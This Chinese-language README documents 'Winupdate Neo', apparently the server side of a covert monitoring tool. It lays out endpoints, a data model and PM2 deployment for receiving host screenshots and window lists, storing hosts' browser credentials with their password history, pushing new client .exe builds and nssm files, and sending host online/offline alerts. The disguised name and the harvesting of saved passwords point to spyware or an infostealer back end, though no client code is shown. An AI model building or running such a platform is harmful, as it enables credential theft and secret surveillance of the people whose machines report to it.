279 lines
9.5 KiB
Markdown
279 lines
9.5 KiB
Markdown
# Winupdate Neo
|
||
|
||
一个基于 Next.js + Prisma + MinIO 的“主机截图与版本分发平台”。用于接收客户端上报的屏幕截图与窗口信息,保存到对象存储;配套 Web UI 浏览、检索与收藏记录,并提供将一段时间内的截图压制为视频的能力。同时支持客户端版本文件的上传与分发,以及主机浏览器凭据(含历史密码)入库与查询。
|
||
|
||
## 功能一览
|
||
|
||
- 主机与记录
|
||
- 接收主机上报的多张截图与窗口信息,自动建档并存储
|
||
- 按主机、时间范围检索记录;星标记录管理与分页
|
||
- 小时维度“活跃度”时间分布统计
|
||
- 媒体处理与下载
|
||
- 截图以 AV1(.avif)压缩后存入 MinIO
|
||
- 将一段时间内的截图转码为 MP4(SVT-AV1 编码)供下载
|
||
- 文件直链下载(版本文件/截图等)
|
||
- 凭据采集
|
||
- 上报主机浏览器凭据(含历史密码版本),去重合并保存
|
||
- 版本分发
|
||
- 上传客户端新版本(.exe),自动生成校验和与下载地址,并标记最新
|
||
- 查询最新版本信息与下载链接
|
||
- 计划任务与通知
|
||
- node-cron 定时任务管理(示例:整点任务、每日清理)与前端管理页 /tasks
|
||
- 可选 QQ 机器人 WebHook 推送“主机上线/离线”等通知
|
||
- 安全与访问控制
|
||
- 页面侧(非 API)支持 Basic Auth;API 默认允许跨域(withCors)
|
||
|
||
## 技术栈
|
||
|
||
- Next.js 15 + React 19 + TypeScript
|
||
- Prisma 6(PostgreSQL)
|
||
- MinIO(S3 兼容对象存储)
|
||
- node-cron 定时任务
|
||
- Tailwind CSS v4
|
||
- 运行与进程管理:Bun、PM2
|
||
- 媒体处理:FFmpeg(libsvtav1)
|
||
|
||
## 目录结构(节选)
|
||
|
||
```
|
||
app/
|
||
hosts/
|
||
route.ts # 主机列表 API(GET)
|
||
[hostname]/
|
||
page.tsx # 主机详情页(UI)
|
||
credentials/route.ts # 凭据:GET/POST
|
||
screenshots/route.ts # 截图:GET(查询)/POST(上传)
|
||
starred/route.ts # 星标记录:GET(分页)/POST(批量标记)
|
||
time-distribution/route.ts# 小时分布统计
|
||
downloads/[fileId]/route.ts # 文件下载(版本、nssm)
|
||
screenshots/[fileId]/route.ts # 截图文件回源
|
||
api/
|
||
tasks/route.ts # 计划任务状态/控制
|
||
generate/video/route.ts # 按时间段合成视频(MP4)
|
||
version/route.ts # 获取最新版本(API 变体)
|
||
version/route.ts # 获取最新版本(App 路由变体)
|
||
lib/
|
||
prisma.ts # PrismaClient 单例
|
||
config.ts # 端口与 Basic Auth 配置
|
||
middleware.ts # withAuth / withCors 辅助
|
||
fileStorage.ts # MinIO 存储封装(put/get/delete/stat)
|
||
minioClient.ts # MinIO 客户端与初始化
|
||
encodeVideo.ts # 图片压制为 AV1 视频
|
||
scheduler.ts / init-scheduler.ts # 定时任务注册
|
||
push/qq.ts # QQ Bot 推送
|
||
prisma/
|
||
schema.prisma # 数据模型
|
||
pm2.config.js # PM2 生产运行配置
|
||
middleware.ts # Next 中间件:页面 Basic Auth
|
||
```
|
||
|
||
## 前置依赖
|
||
|
||
- Node.js 18+(推荐 20+)
|
||
- Bun(推荐,仓库包含 bun.lock)
|
||
- PostgreSQL 数据库
|
||
- MinIO(或任意 S3 兼容对象存储)
|
||
- FFmpeg(需包含 libsvtav1 编码器)
|
||
|
||
## 环境变量
|
||
|
||
在项目根目录创建 .env(生产环境同样需要):
|
||
|
||
```
|
||
# Server
|
||
PORT=3000
|
||
NODE_ENV=development
|
||
|
||
# Basic Auth(仅页面侧使用,API 默认不校验)
|
||
AUTH_USERNAME=admin
|
||
AUTH_PASSWORD=password
|
||
|
||
# Database(PostgreSQL)
|
||
DATABASE_URL="postgresql://user:pass@localhost:5432/winupdate_neo?schema=public"
|
||
|
||
# MinIO / S3
|
||
MINIO_ENDPOINT=127.0.0.1
|
||
MINIO_PORT=9000
|
||
MINIO_USE_SSL=false
|
||
MINIO_ACCESS_KEY=your_minio_access_key
|
||
MINIO_SECRET_KEY=your_minio_secret_key
|
||
MINIO_BUCKET_NAME=winupdate
|
||
|
||
# 可选:QQ Bot 推送
|
||
QQ_BOT_URL=
|
||
QQ_BOT_TARGET_ID=
|
||
```
|
||
|
||
提示:PM2 配置会读取当前目录下的 .env(pm2.config.js 内部使用 dotenv 载入),生产环境注意设置强口令与私密变量。
|
||
|
||
## 安装与运行
|
||
|
||
- 安装依赖
|
||
|
||
```bash
|
||
bun install
|
||
```
|
||
|
||
- 生成 Prisma Client 并迁移数据库(开发)
|
||
|
||
```bash
|
||
bun run db:generate
|
||
bun run db:migrate
|
||
```
|
||
|
||
- 开发运行
|
||
|
||
```bash
|
||
bun run dev
|
||
```
|
||
|
||
- 构建与启动(本地/容器)
|
||
|
||
```bash
|
||
bun run build
|
||
bun run start
|
||
```
|
||
|
||
- 使用 PM2 生产部署(推荐)
|
||
|
||
```bash
|
||
# 首次
|
||
pm2 start pm2.config.js
|
||
# 查看状态
|
||
pm2 status
|
||
# 查看日志
|
||
pm2 logs winupdate-neo --lines 200
|
||
# 更新版本后重启
|
||
pm2 restart winupdate-neo
|
||
```
|
||
|
||
日志默认输出至 logs/,可在 pm2.config.js 中调整。
|
||
|
||
## 数据模型(Prisma)
|
||
|
||
- Host:主机,按 hostname 唯一
|
||
- Record:一次上报记录,关联若干 Window 与 Screenshot,支持 isStarred
|
||
- Window:窗口信息(title/path/memory),memory 为 BigInt
|
||
- Screenshot:截图文件元信息,核心为 objectName(MinIO 对象名)
|
||
- Credential:主机-用户-浏览器-URL-Login 唯一,含 lastSyncTime
|
||
- Password:凭据的历史密码值(时间序列)
|
||
- Version:版本文件元信息(fileId/objectName/checksum/isLatest)
|
||
- Nssm:辅助可下载文件的元信息
|
||
|
||
## MinIO 存储约定
|
||
|
||
- 桶名:MINIO_BUCKET_NAME(默认 winupdate)
|
||
- 对象路径:
|
||
- 截图:screenshots/YYYY/MM/DD/{hostname}/{uuid}.avif
|
||
- 版本:versions/YYYY/MM/{uuid}.exe
|
||
- 其他:files/YYYY/MM/DD/{uuid}
|
||
- 常用元数据:
|
||
- Content-Type、X-Original-Filename、X-File-ID、X-Upload-Time、X-File-Type、X-Hostname
|
||
|
||
## 核心 API(节选)
|
||
|
||
- 主机列表
|
||
- GET /hosts
|
||
- 截图上传/查询(按主机)
|
||
- POST /hosts/{hostname}/screenshots(multipart/form-data)
|
||
- 字段:windows_info(JSON 字符串),screenshot_0..n(文件)
|
||
- GET /hosts/{hostname}/screenshots?startTime=...&endTime=...
|
||
- 支持 Unix 秒或 ISO 时间,返回 records + windows + screenshots(windows.memory 已转 string)
|
||
- 星标记录(按主机)
|
||
- GET /hosts/{hostname}/starred?page=1&limit=50
|
||
- POST /hosts/{hostname}/starred
|
||
- JSON:{ "action": "star"|"unstar", "recordIds": ["..."] }
|
||
- 切换单条记录星标
|
||
- PATCH /api/records/{recordId}/star
|
||
- 凭据
|
||
- POST /hosts/{hostname}/credentials(Body 为特殊数组结构,首项形如 ["User", "username"],其后为浏览器项)
|
||
- GET /hosts/{hostname}/credentials(包含密码历史,降序)
|
||
- 时间分布统计(小时)
|
||
- GET /hosts/{hostname}/time-distribution?from=ISO&to=ISO
|
||
- 返回:[{ timestamp: 秒, count }...]
|
||
- 截图文件
|
||
- GET /screenshots/{fileId}
|
||
- 版本文件下载
|
||
- GET /downloads/{fileId}
|
||
- 最新版本查询
|
||
- GET /version(App 路由)或 GET /api/version(API 路由),均返回 { version, download_url, checksum }
|
||
- 截图合成视频(MP4)
|
||
- GET /api/generate/video?hostname=xxx&startTime=unixSec&endTime=unixSec
|
||
|
||
跨域:大多数 API 通过 withCors 允许跨域(Access-Control-Allow-Origin: *)。
|
||
|
||
### 示例:上传截图
|
||
|
||
```bash
|
||
curl -X POST "http://localhost:3000/hosts/TEST-PC/screenshots" \
|
||
-F "windows_info=[{\"title\":\"Explorer\",\"path\":\"C:/Windows/explorer.exe\",\"memory\":12345}]" \
|
||
-F "screenshot_0=@/path/to/a.png" \
|
||
-F "screenshot_1=@/path/to/b.png"
|
||
```
|
||
|
||
### 示例:批量星标
|
||
|
||
```bash
|
||
curl -X POST "http://localhost:3000/hosts/TEST-PC/starred" \
|
||
-H "Content-Type: application/json" \
|
||
-d '{"action":"star","recordIds":["rec_xxx","rec_yyy"]}'
|
||
```
|
||
|
||
### 示例:生成时间段视频
|
||
|
||
```bash
|
||
curl -L "http://localhost:3000/api/generate/video?hostname=TEST-PC&startTime=1751104800&endTime=1751108400" -o out.mp4
|
||
```
|
||
|
||
## 认证与安全
|
||
|
||
- 页面 Basic Auth:根中间件对大多数页面启用基本认证(用户名/密码来自 AUTH_USERNAME/AUTH_PASSWORD)。以下路径跳过认证:
|
||
- /api/、/screenshots/、/downloads/、/_next/、/favicon.ico,以及所有 POST 请求等
|
||
- API 跨域:默认允许任意来源(可按需收紧)
|
||
- 建议:
|
||
- 生产开启 HTTPS
|
||
- 使用强口令并限制来源 IP
|
||
- 为数据库与对象存储设置最小权限账号
|
||
|
||
## 定时任务
|
||
|
||
- 由 lib/scheduler.ts 定义并在服务端初始化(lib/init-scheduler.ts)
|
||
- 已内置:
|
||
- 每小时第 30 分执行的示例任务
|
||
- 每日 02:00 清理任务(示例)
|
||
- 管理界面:/tasks,可查看状态并启动/停止
|
||
- 通过 /api/tasks 提供状态与控制 API
|
||
|
||
## 部署要点(PM2)
|
||
|
||
- 确保 .env、数据库与 MinIO 可用
|
||
- FFmpeg 必须包含 libsvtav1(否则截图转码/视频合成会失败)
|
||
- 启动:pm2 start pm2.config.js(脚本使用 bun run start,端口默认 12398,可由 .env PORT 覆盖)
|
||
- 日志:logs/ 目录
|
||
|
||
## 常见问题(FAQ)
|
||
|
||
- MinIO 连接失败
|
||
- 检查 MINIO_ENDPOINT/MINIO_PORT/MINIO_ACCESS_KEY/MINIO_SECRET_KEY
|
||
- 确认桶 MINIO_BUCKET_NAME 已存在
|
||
- 截图上传 500/视频生失败
|
||
- 确认 FFmpeg 安装且包含 libsvtav1;服务器有足够的 CPU 与临时磁盘
|
||
- JSON 序列化 BigInt 报错
|
||
- API 层已处理 window.memory 的 BigInt->string,前端请按字符串消费
|
||
- 版本下载 404
|
||
- /downloads/{fileId} 会在 versions 与 nssm 两表中查找,请确认 fileId 与库内记录一致
|
||
|
||
## 开发提示
|
||
|
||
- 新增模型后:更新 prisma/schema.prisma -> bun run db:generate -> bun run db:migrate
|
||
- 新增静态/下载接口时:优先只暴露 fileId,后端内部解析为 objectName 再从 MinIO 取文件
|
||
- encodeVideo.ts 的 concat+SVT-AV1 管道对输入图片顺序敏感,注意生成 list.txt 的顺序
|
||
|
||
## 许可
|
||
|
||
未设置许可(License)。如需开源或分发,请在提交前添加合适的 LICENSE 文件。
|
||
|
||
---
|
||
|
||
如需更多部署细节,可参考仓库中的 DEPLOYMENT.md。
|